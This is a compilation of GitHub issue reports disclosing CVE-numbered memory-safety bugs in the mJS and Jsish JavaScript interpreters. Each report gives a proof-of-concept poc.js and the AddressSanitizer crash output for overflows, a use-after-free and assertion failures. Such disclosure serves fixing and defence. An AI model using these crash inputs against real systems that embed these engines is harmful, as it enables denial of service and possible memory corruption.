Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via mjs_mk_string at mjs/src/mjs_string.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_CLANG=clang
$(DOCKER\_CLANG) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))((JSON.stringify + 6.54321e2)(JSON.stringify([1, 2, 3])));
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000064330b at pc 0x0000005b16f4 bp 0x7ffcd99733d0 sp 0x7ffcd99733c8
READ of size 8 at 0x00000064330b thread T0
    #0 0x5b16f3 in mjs\_mk\_string /root/mjs/src/mjs\_string.c:58:15
    #1 0x580796 in mjs\_op\_json\_stringify /root/mjs/src/mjs\_json.c:495:13
    #2 0x55178f in mjs\_exec\_internal /root/mjs/src/mjs\_exec.c:1073:5
    #3 0x552d2d in mjs\_exec\_file /root/mjs/src/mjs\_exec.c:1096:11
    #4 0x5821d3 in main /root/mjs/src/mjs\_main.c:47:11
    #5 0x7f43da272b96 in \_\_libc\_start\_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #6 0x41a2c9 in \_start (/usr/local/bin/mjs+0x41a2c9)

0x00000064330b is located 53 bytes to the left of global variable '<string literal>' defined in 'src/mjs\_builtin.c:140:21' (0x643340) of size 4
  '<string literal>' is ascii string 'ffi'
0x00000064330b is located 5 bytes to the right of global variable '<string literal>' defined in 'src/mjs\_builtin.c:138:21' (0x643300) of size 6
  '<string literal>' is ascii string 'print'
SUMMARY: AddressSanitizer: global-buffer-overflow /root/mjs/src/mjs\_string.c:58:15 in mjs\_mk\_string
Shadow bytes around the buggy address:
  0x0000800c0610: f9 f9 f9 f9 00 00 00 00 00 00 00 05 f9 f9 f9 f9
  0x0000800c0620: 00 06 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
  0x0000800c0630: 00 02 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
  0x0000800c0640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000800c0650: 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
=\>0x0000800c0660: 06\[f9\]f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
  0x0000800c0670: 00 04 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9
  0x0000800c0680: 07 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
  0x0000800c0690: 03 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9
  0x0000800c06a0: 04 f9 f9 f9 f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9
  0x0000800c06b0: 06 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==ABORTING

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46513: Global-buffer-overflow mjs/src/mjs_string.c:58:15 in mjs_mk_string · Issue #189 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x5361e. This vulnerability can lead to a Denial of Service (DoS).

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    function D(i) {
        [i]
    }
    function A() {
        return D.apply - 1;
    }
    function JSEtest(i) {
        return A(i, 1, 2, 3);
    }
    JSEtest(0.2)(0.2)
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==76668==ERROR: AddressSanitizer: SEGV on unknown address 0x561aeef915ac (pc 0x561aeef9161f bp 0x0000000000a6 sp 0x7ffe3d8aa358 T0)
==76668==The signal is caused by a WRITE memory access.
    #0 0x561aeef9161e  (/usr/local/bin/mjs+0x5361e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x5361e)
==76668==ABORTING

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46528: SEGV (/usr/local/bin/mjs+0x5361e) · Issue #208 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via /usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    function JSEtest(a) {
      let arr = ['prototype'.indexOf(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp']))];
    
      if (a < 10)
        JSEtest(a + 1);
    }
    JSEtest(0);

​

**Execution steps & Output**

$ ./mjs/build/mjs poc.js

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x7fabea0b7f54 bp 0x7ffdfc32c250 sp 0x7ffdfc32b9f8
READ of size 19 at 0x60b0000000ab thread T0
    #0 0x7fabea0b7f53  (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xaff53)
    #1 0x55e0e1aa2ff6 in mg\_strstr src/common/mg\_str.c:154
    #2 0x55e0e1a6c363 in mjs\_string\_index\_of src/mjs\_string.c:366
    #3 0x55e0e19c5244 in mjs\_execute src/mjs\_exec.c:853
    #4 0x55e0e19cea05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #5 0x55e0e19cea05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #6 0x55e0e198b909 in main src/mjs\_main.c:47
    #7 0x7fabe9a34b96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #8 0x55e0e198c449 in \_start (/usr/local/bin/Gmjs+0xe449)

0x60b0000000ab is located 0 bytes to the right of 107-byte region \[0x60b000000040,0x60b0000000ab)
allocated by thread T0 here:
    #0 0x7fabea0e6f30 in realloc (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x55e0e1a9d346 in mbuf\_resize src/common/mbuf.c:50

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xaff53)
Shadow bytes around the buggy address:
  0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
\=>0x0c167fff8010: 00 00 00 00 00\[03\]fa fa fa fa fa fa fa fa fd fd
  0x0c167fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
  0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46522: Heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53) · Issue #196 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a heap-use-after-free via mjs_apply at src/mjs_exec.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    function T(f) {}
    function JSEtest(b) {
      T.apply.apply(T.apply, []);
    
      if (b < 10)
        JSEtest(T.apply, []);
    }
    JSEtest(0);
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
======ERROR: AddressSanitizer: heap-use-after-free on address 0x6040000000f8 at pc 0x5590f9ee05d6 bp 0x7fff0f0dc5b0 sp 0x7fff0f0dc5a0
READ of size 8 at 0x6040000000f8 thread T0
    #0 0x5590f9ee05d5 in mjs\_apply src/mjs\_exec.c:1156
    #1 0x5590f9ee08d4 in mjs\_apply\_ src/mjs\_exec.c:515
    #2 0x5590f9ed4244 in mjs\_execute src/mjs\_exec.c:853
    #3 0x5590f9edda05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #4 0x5590f9edda05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #5 0x5590f9e9a909 in main src/mjs\_main.c:47
    #6 0x7f009363db96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x5590f9e9b449 in \_start (/usr/local/bin/Gmjs+0xe449)

0x6040000000f8 is located 40 bytes inside of 48-byte region \[0x6040000000d0,0x604000000100)
freed by thread T0 here:
    #0 0x7f0093ceff30 in realloc (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x5590f9facdf8 in mbuf\_insert src/common/mbuf.c:90

previously allocated by thread T0 here:
    #0 0x7f0093ceff30 in realloc (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x5590f9facdf8 in mbuf\_insert src/common/mbuf.c:90

SUMMARY: AddressSanitizer: heap-use-after-free src/mjs\_exec.c:1156 in mjs\_apply
Shadow bytes around the buggy address:
  0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff8000: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
\=>0x0c087fff8010: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd\[fd\]
  0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46525: Heap-use-after-free src/mjs_exec.c:1156 in mjs_apply · Issue #199 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via snquote at src/mjs_json.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))((JSON.parse - 10900)(JSON.stringify([1, 2, 3])));
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
====ERROR: AddressSanitizer: global-buffer-overflow on address 0x5570a88f30e4 at pc 0x5570a8803a88 bp 0x7ffc63d95f40 sp 0x7ffc63d95f30
READ of size 1 at 0x5570a88f30e4 thread T0
    #0 0x5570a8803a87 in snquote src/mjs\_json.c:81
    #1 0x5570a8803a87 in to\_json\_or\_debug src/mjs\_json.c:167
    #2 0x5570a8803a87 in mjs\_json\_stringify src/mjs\_json.c:267
    #3 0x5570a8803a87 in mjs\_op\_json\_stringify src/mjs\_json.c:494

0x5570a88f30e4 is located 0 bytes to the right of global variable '\*.LC1' defined in 'src/mjs\_array.c' (0x5570a88f30e0) of size 4
  '\*.LC1' is ascii string '%lu'
0x5570a88f30e4 is located 60 bytes to the left of global variable '\*.LC9' defined in 'src/mjs\_array.c' (0x5570a88f3120) of size 5
  '\*.LC9' is ascii string 'this'
SUMMARY: AddressSanitizer: global-buffer-overflow src/mjs\_json.c:81 in snquote
Shadow bytes around the buggy address:
  0x0aae951165c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=\>0x0aae95116610: 00 00 00 00 00 00 00 00 00 00 00 00\[04\]f9 f9 f9
  0x0aae95116620: f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9
  0x0aae95116630: f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 00 04 f9 f9
  0x0aae95116640: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116660: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 04
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
====ABORTING

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46526: Global-buffer-overflow src/mjs_json.c:81 in snquote · Issue #191 · cesanta/mjs

Jsish v3.5.0 was discovered to contain a stack overflow via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5.

**Jsish revision**

Commit: 9fa798e

Version: v3.5.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

export CFLAGS='\-fsanitize=address'
make

**Test case**

function JSEtest(Function) {
    var a \= Array.prototype.push.call(a, 42, 43);
}
for (var i \= 0; i < 25000; i++) {
    JSEtest(Array);
}

​

**Execution steps & Output**

$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
==9209==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd05e20e58 (pc 0x7f6abd3fb1e6 bp 0x7ffd05e216f0 sp 0x7ffd05e20e60 T0)
    #0 0x7f6abd3fb1e5  (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0x5b1e5)
    #1 0x5571122680fd in Jsi\_NameLookup src/jsiUtils.c:413
    #2 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #3 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #4 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #5 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #6 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #7 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #8 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #9 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    ......					......					......
    ......					......					......
    #246 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #247 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #248 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #249 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #250 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119

SUMMARY: AddressSanitizer: stack-overflow (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0x5b1e5)
==9209==ABORTING

Credits: Found by OWL337 team.

CVE-2021-46505: Stack-overflow in (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5) · Issue #53 · pcmacdon/jsish

Jsish v3.5.0 was discovered to contain a stack overflow via Jsi_LogMsg at src/jsiUtils.c.

**Jsish revision**

Commit: 9fa798e

Version: v3.5.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

export CFLAGS='\-fsanitize=address'
make

**Test case1**

WebSocket({
  "a": 2.3023e-320
})

**Test case2**

var JSEtest \= times(function () {
    WebSocket({
        'red': (new Object(null % null))
    });
}) < times(log(null % null));
assert.sameValue(JSEtest.length, 2, 'newArr.length');

**Execution steps & Output**

$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
ERROR: AddressSanitizer: stack-overflow on address 0x7ffe51210dfc (pc 0x55d8eb693014 bp 0x0fffca2427b6 sp 0x7ffe51210df0 T0)
    #0 0x55d8eb693013 in Jsi\_LogMsg src/jsiUtils.c:151
    #1 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #2 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #3 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #4 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #5 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #6 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    ......					......					......
    ......					......					......
    #246 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #247 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #248 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #249 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #250 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
SUMMARY: AddressSanitizer: stack-overflow src/jsiUtils.c:151 in Jsi\_LogMsg
====ABORTING

Credits: Found by OWL337 team.

CVE-2021-46507: Stack-overflow src/jsiUtils.c:151 in Jsi_LogMsg · Issue #54 · pcmacdon/jsish

There is an Assertion `m->len >= sizeof(v)' failed at src/mjs_core.c in Cesanta MJS v2.20.0.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (function() {
      ((function JSEtest(a) {
        if (a > 3) {
          if ([Object.create.apply({}, [Object])]) {
          JSEtest(Object.create.apply({}, [Object]))
        }
        }
      })(6))
    })()
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
mjs: src/mjs\_core.c:372: mjs\_pop\_val: Assertion \`m-\>len \>\= sizeof(v)' failed.
\[1\]    33895 abort      mjs poc.js

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46511: Assertion `m->len >= sizeof(v)' failed at src/mjs_core.c:372: mjs_pop_val  · Issue #183 · cesanta/mjs

There is an Assertion `i < parts_cnt' failed at src/mjs_bcode.c in Cesanta MJS v2.20.0.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_CLANG=clang
$(DOCKER\_CLANG) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))((isNaN - 6.54321e2)(JSON.stringify([1, 2, 3])));
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
mjs: src/mjs\_bcode.c:121: struct mjs\_bcode\_part \*mjs\_bcode\_part\_get\_by\_offset(struct mjs \*, size\_t): Assertion \`i < parts\_cnt' failed.
\[1\]    88797 abort      mjs poc.js

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46508: Assertion `i < parts_cnt' failed at src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t). · Issue #188 · cesanta/mjs

There is an Assertion `mjs_stack_size(&mjs->scopes) > 0' failed at src/mjs_exec.c in Cesanta MJS v2.20.0.

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
DOCKER\_CLANG=clang
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (function() {
      ((function JSEtest(a) {
        if (a > 3) {
          if ([((function JSEtest(a) {
        if (a > 3) {
          if ([Object.create.apply({}, [Object])]) {
          Object.create.apply({}, [Object])
        }
        }
      })(6))([((function JSEtest(a) {
        if (a > 3) {
          if ([Object.create.apply({}, [Object])]) {
          Object.create.apply({}, [Object])
        }
        }
      })(6))({}, [Object])])]) {
          Object.create.apply({}, [Object])
        }
        }
      })(6))
    })()
**Execution steps & Output**

$ ./mjs/build/mjs poc.js

mjs: src/mjs\_exec.c:725: mjs\_execute: Assertion \`mjs\_stack\_size(&mjs-\>scopes) \> 0' failed.
\[1\]    111718 abort      mjs poc.js

Tag

#ubuntu